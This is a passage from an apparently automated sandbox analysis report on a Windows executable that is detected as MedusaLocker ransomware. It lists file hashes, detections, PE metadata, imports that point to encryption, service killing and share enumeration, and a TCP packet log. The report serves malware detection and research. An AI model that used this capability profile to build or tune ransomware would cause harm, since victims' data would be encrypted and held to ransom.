SSDEEP:	12288:cPJ4U0TYQivI2qZ7aSgLwkFVpzUvest4ZEbjJLuMJVoM7:JzTYVQ2qZ7aSgLwuVfstRJLrYM
MD5:	82143033173CBEEE7F559002FB8AB8C5
SHA1:	E03AEDB8B9770F899A29F1939636DB43825E95CF
SHA-256:	4AE110BB89DDCC45BB2C4E980794195EE5EB85B5261799CAEDEF7334F0F57CC4
SHA-512:	77377C732C3FB944F56170E6382FBC25E8BBE1F2FFD42290C52DA5F33F7301272C67356843464C89BBA71B8C45E3D4222FE70BB7A1F80BBE89B3CE2DC498DCF1
Malicious:	true
Yara Hits:	Rule: JoeSecurity_MedusaLocker, Description: Yara detected MedusaLocker Ransomware, Source: C:\Users\user\AppData\Roaming\svhost.exe, Author: Joe Security
Antivirus:	Antivirus: Metadefender, Detection: 66%, Browse Antivirus: ReversingLabs, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A...A...A...%...A...%..iA...%...A...%...A...)...A...)..BA...)...A...%...A...A...A..Y(...A..Y(v..A..Y(...A..Rich.A..................PE..L.....t^.................4...v...............P....@.......................................@..........................................p...........................\...y..8....................y......Hy..@............P...............................text....2.......4.................. ..`.rdata.......P.......8..............@..@.data...hJ... ...8..................@....rsrc........p.......:..............@..@.reloc...\.......^...<..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\svhost.exe:Zone.Identifier Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

\Device\ConDrv Download File
Process:	C:\Windows\SysWOW64\wbem\WMIC.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	35
Entropy (8bit):	3.9975790033896286
Encrypted:	false
SSDEEP:	3:+tG2UGNmOMFoyn:+tnmky
MD5:	AF404CF1944BF737356BF00A2EC9121D
SHA1:	2F1867B11BAA22A86BEFFE8147714E9805B2A58F
SHA-256:	2D46C542862CB3FC9F22BB3EB29E1EFE31AA02B438A40D62485470981F58CBD3
SHA-512:	F5B178BAFB0D8DD0833AC1830079B097FD37F32DEE617F0F4A3D6ECEA54B7E6FC9DA281D60A56A6FFB4D1ABA9AD76E643133CA23087DE8BED6593E4B5C1ED4E8
Malicious:	false
Preview:	Unexpected switch at this level....

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.162685727512194
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	f6ifQ0POml.exe
File size:	694784
MD5:	82143033173cbeee7f559002fb8ab8c5
SHA1:	e03aedb8b9770f899a29f1939636db43825e95cf
SHA256:	4ae110bb89ddcc45bb2c4e980794195ee5eb85b5261799caedef7334f0f57cc4
SHA512:	77377c732c3fb944f56170e6382fbc25e8bbe1f2ffd42290c52da5f33f7301272c67356843464c89bba71b8c45e3d4222fe70bb7a1f80bbe89b3ce2dc498dcf1
SSDEEP:	12288:cPJ4U0TYQivI2qZ7aSgLwkFVpzUvest4ZEbjJLuMJVoM7:JzTYVQ2qZ7aSgLwuVfstRJLrYM
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A...A...A...%...A...%..iA...%...A...%...A...)...A...)..BA...)...A...%...A...A...A..Y(...A..Y(v..A..Y(...A..Rich.A.........

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x43aea8
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x5E74EFA5 [Fri Mar 20 16:30:29 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	f2a8a842c869f344b4d75729bc60feed

Entrypoint Preview

Instruction
call 00007F5D3CA80145h
jmp 00007F5D3CA7F77Fh
mov ecx, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], ecx
pop ecx
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push ecx
ret
mov ecx, dword ptr [ebp-10h]
xor ecx, ebp
call 00007F5D3CA7EF16h
jmp 00007F5D3CA7F8E0h
mov ecx, dword ptr [ebp-14h]
xor ecx, ebp
call 00007F5D3CA7EF05h
jmp 00007F5D3CA7F8CFh
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [004A2074h]
xor eax, ebp
push eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [004A2074h]
xor eax, ebp
push eax
mov dword ptr [ebp-10h], eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [004A2074h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa06b0	0xf0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa7000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa8000	0x5ce4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x97910	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x979e8	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x97948	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x75000	0x31c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x732a6	0x73400	False	0.489954751898	data	6.5332685459	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x75000	0x2c8ca	0x2ca00	False	0.273076418067	data	3.64908904035	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa2000	0x4a68	0x3800	False	0.190708705357	data	4.84799484868	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0xa7000	0x1e0	0x200	False	0.52734375	data	4.70823651487	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xa8000	0x5ce4	0x5e00	False	0.692819148936	data	6.59037586019	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_MANIFEST	0xa7060	0x17d	XML 1.0 document text	English	United States

Imports

DLL	Import
KERNEL32.dll	Process32NextW, Process32FirstW, CreateProcessW, GetTickCount, CopyFileW, GetCurrentProcess, WriteConsoleW, CreateToolhelp32Snapshot, OpenProcess, WaitForSingleObject, TerminateProcess, FindClose, FindNextVolumeW, GetVolumePathNamesForVolumeNameW, FindVolumeClose, SetVolumeMountPointW, FindFirstVolumeW, QueryDosDeviceW, GetEnvironmentVariableW, GetLogicalDrives, GetProcessHeap, MoveFileExW, SetFilePointerEx, HeapAlloc, CloseHandle, GetLastError, SetFileAttributesW, GetFileAttributesW, CreateFileW, WriteFile, HeapSize, GetConsoleMode, GetConsoleCP, FlushFileBuffers, SetStdHandle, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetCommandLineA, GetOEMCP, GetACP, IsValidCodePage, GetFileType, HeapReAlloc, GetTimeZoneInformation, EnumSystemLocalesW, GetUserDefaultLCID, HeapFree, GetFileSizeEx, IsValidLocale, GetTimeFormatW, GetDateFormatW, GetStdHandle, ReadFile, OpenMutexW, Sleep, CreateMutexW, GetModuleFileNameW, SetEnvironmentVariableW, EncodePointer, DecodePointer, RaiseException, GetCurrentThreadId, IsProcessorFeaturePresent, QueueUserWorkItem, GetModuleHandleExW, EnterCriticalSection, LeaveCriticalSection, TryEnterCriticalSection, DeleteCriticalSection, FormatMessageW, WideCharToMultiByte, QueryPerformanceCounter, MultiByteToWideChar, FindFirstFileExW, FindNextFileW, GetFileAttributesExW, SetLastError, InitializeCriticalSectionAndSpinCount, CreateEventW, SwitchToThread, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetSystemTimeAsFileTime, GetModuleHandleW, GetProcAddress, DuplicateHandle, WaitForSingleObjectEx, GetCurrentThread, GetStringTypeW, CompareStringW, LCMapStringW, GetLocaleInfoW, GetCPInfo, SetEvent, ResetEvent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, GetStartupInfoW, GetCurrentProcessId, InitializeSListHead, LocalFree, CreateTimerQueue, SignalObjectAndWait, CreateThread, SetThreadPriority, GetThreadPriority, GetLogicalProcessorInformation, CreateTimerQueueTimer, ChangeTimerQueueTimer, DeleteTimerQueueTimer, GetNumaHighestNodeNumber, GetProcessAffinityMask, SetThreadAffinityMask, RegisterWaitForSingleObject, UnregisterWait, GetThreadTimes, FreeLibrary, FreeLibraryAndExitThread, GetModuleHandleA, LoadLibraryExW, GetVersionExW, VirtualAlloc, VirtualProtect, VirtualFree, ReleaseSemaphore, InterlockedPopEntrySList, InterlockedPushEntrySList, InterlockedFlushSList, QueryDepthSList, UnregisterWaitEx, LoadLibraryW, RtlUnwind, ExitProcess
ADVAPI32.dll	CryptExportKey, RegCreateKeyW, RegOpenKeyExW, RegSetValueExW, RegCloseKey, CryptReleaseContext, CryptGenKey, CryptImportKey, OpenProcessToken, GetTokenInformation, CloseServiceHandle, OpenSCManagerW, DeleteService, ControlService, EnumDependentServicesW, OpenServiceW, QueryServiceStatusEx, CryptDestroyKey, CryptAcquireContextW, CryptEncrypt, CryptDuplicateKey, RegDeleteValueW
SHELL32.dll	SHEmptyRecycleBinW
ole32.dll	CLSIDFromString, IIDFromString, CoInitializeEx, CoGetObject, CoInitialize, CoUninitialize, CoCreateInstance, CoInitializeSecurity
OLEAUT32.dll	SysAllocStringByteLen, VariantClear, SysAllocString, SysStringByteLen, VariantInit, SysFreeString
CRYPT32.dll	CryptStringToBinaryA
MPR.dll	WNetGetConnectionW
NETAPI32.dll	NetApiBufferFree, NetShareEnum
IPHLPAPI.DLL	IcmpSendEcho, IcmpCloseHandle, GetAdaptersInfo, IcmpCreateFile
WS2_32.dll	inet_addr
RstrtMgr.DLL	RmShutdown, RmRegisterResources, RmStartSession, RmGetList, RmEndSession

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
03/29/21-12:58:22.052540	ICMP	384	ICMP PING			192.168.2.4	192.168.2.1
03/29/21-12:58:22.052593	ICMP	408	ICMP Echo Reply			192.168.2.1	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 29, 2021 12:57:55.309469938 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.309607983 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.309686899 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.309747934 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.309801102 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.309819937 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.309910059 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.309945107 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.309997082 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.343426943 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.343529940 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.343933105 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.343945980 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.345096111 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.345169067 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.345205069 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.345256090 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.345314980 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.345324039 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.345484972 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.426712036 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.459311962 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.739300966 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.774192095 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.774274111 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.774293900 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.806756973 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.806778908 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.806858063 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.806898117 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.839852095 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.839874983 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.839885950 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.839895010 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.839936972 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.839983940 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.839992046 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.840090990 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.872442961 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.872462034 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.872469902 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.872514009 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.872548103 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.872548103 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.872565031 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.872575998 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.872580051 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.872591019 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.872594118 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.872611046 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.872637987 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.872661114 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.872692108 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.872710943 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.872755051 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:55.905010939 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.905033112 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.905041933 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.905072927 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.905090094 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.905680895 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.905697107 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.905704975 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.905760050 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.905772924 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.905785084 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.905797005 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.905946970 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:55.906027079 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:57:56.035249949 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:57:56.035351992 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:00.740068913 CEST	49703	443	192.168.2.4	20.190.159.138
Mar 29, 2021 12:58:00.740119934 CEST	49703	443	192.168.2.4	20.190.159.138
Mar 29, 2021 12:58:00.743859053 CEST	49730	443	192.168.2.4	20.190.159.138
Mar 29, 2021 12:58:00.798165083 CEST	443	49703	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:00.798213005 CEST	443	49703	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:00.802128077 CEST	443	49730	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:00.805111885 CEST	49730	443	192.168.2.4	20.190.159.138
Mar 29, 2021 12:58:00.805830002 CEST	49730	443	192.168.2.4	20.190.159.138
Mar 29, 2021 12:58:00.826030970 CEST	443	49703	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:00.865727901 CEST	443	49730	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:00.865762949 CEST	443	49730	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:00.865781069 CEST	443	49730	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:00.865797043 CEST	443	49730	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:00.865814924 CEST	443	49730	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:00.866590023 CEST	49730	443	192.168.2.4	20.190.159.138
Mar 29, 2021 12:58:00.870213985 CEST	49730	443	192.168.2.4	20.190.159.138
Mar 29, 2021 12:58:00.931494951 CEST	443	49730	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:00.933757067 CEST	49730	443	192.168.2.4	20.190.159.138
Mar 29, 2021 12:58:00.933816910 CEST	49730	443	192.168.2.4	20.190.159.138
Mar 29, 2021 12:58:00.939774990 CEST	443	49703	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:00.939821959 CEST	443	49703	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:00.939862013 CEST	443	49703	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:00.939901114 CEST	443	49703	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:00.939937115 CEST	49703	443	192.168.2.4	20.190.159.138
Mar 29, 2021 12:58:00.939956903 CEST	49703	443	192.168.2.4	20.190.159.138
Mar 29, 2021 12:58:00.940004110 CEST	443	49703	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:00.940043926 CEST	443	49703	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:00.940090895 CEST	443	49703	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:00.940133095 CEST	443	49703	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:00.940165997 CEST	443	49703	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:00.940668106 CEST	49703	443	192.168.2.4	20.190.159.138
Mar 29, 2021 12:58:00.992165089 CEST	443	49730	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:00.992230892 CEST	443	49730	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:01.022717953 CEST	443	49730	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:01.139672041 CEST	443	49730	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:01.139780998 CEST	443	49730	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:01.139899969 CEST	443	49730	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:01.139971972 CEST	443	49730	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:01.140042067 CEST	443	49730	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:01.140110970 CEST	443	49730	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:01.140181065 CEST	49730	443	192.168.2.4	20.190.159.138
Mar 29, 2021 12:58:01.140185118 CEST	443	49730	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:01.140259027 CEST	443	49730	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:01.140317917 CEST	443	49730	20.190.159.138	192.168.2.4
Mar 29, 2021 12:58:01.140477896 CEST	49730	443	192.168.2.4	20.190.159.138
Mar 29, 2021 12:58:05.777726889 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:05.777827978 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:05.777864933 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:05.777884960 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:05.811717033 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:05.811742067 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:05.811840057 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:05.811954021 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:05.811965942 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:05.812032938 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:05.812164068 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:05.812177896 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:05.812220097 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:05.812267065 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:05.812402010 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:05.812596083 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:05.844383001 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:05.844475985 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:05.844753027 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:05.844767094 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:05.844779015 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:05.844791889 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:05.844805002 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:05.844892025 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:05.844935894 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:05.844969988 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:05.844984055 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:05.845053911 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:05.845089912 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:05.845247984 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:05.845261097 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:05.846906900 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:05.846946955 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:05.931200027 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:05.934083939 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:10.965735912 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:10.965811014 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:10.965869904 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:10.965909958 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:10.965951920 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:10.965976954 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:10.965992928 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:10.966017008 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:10.966026068 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:10.966845989 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:10.966988087 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:10.967010975 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:10.998411894 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:10.998501062 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:10.998554945 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:10.998610020 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:10.998656988 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:10.998702049 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:11.001535892 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:11.001656055 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:11.001705885 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:11.001753092 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:11.001800060 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:11.001847029 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:11.001890898 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:11.001924992 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:11.002006054 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:11.002089977 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:11.002161026 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:11.002266884 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:11.002341032 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:11.002403021 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:11.002506018 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:11.002573013 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:11.002650023 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:11.002692938 CEST	443	49696	204.79.197.200	192.168.2.4
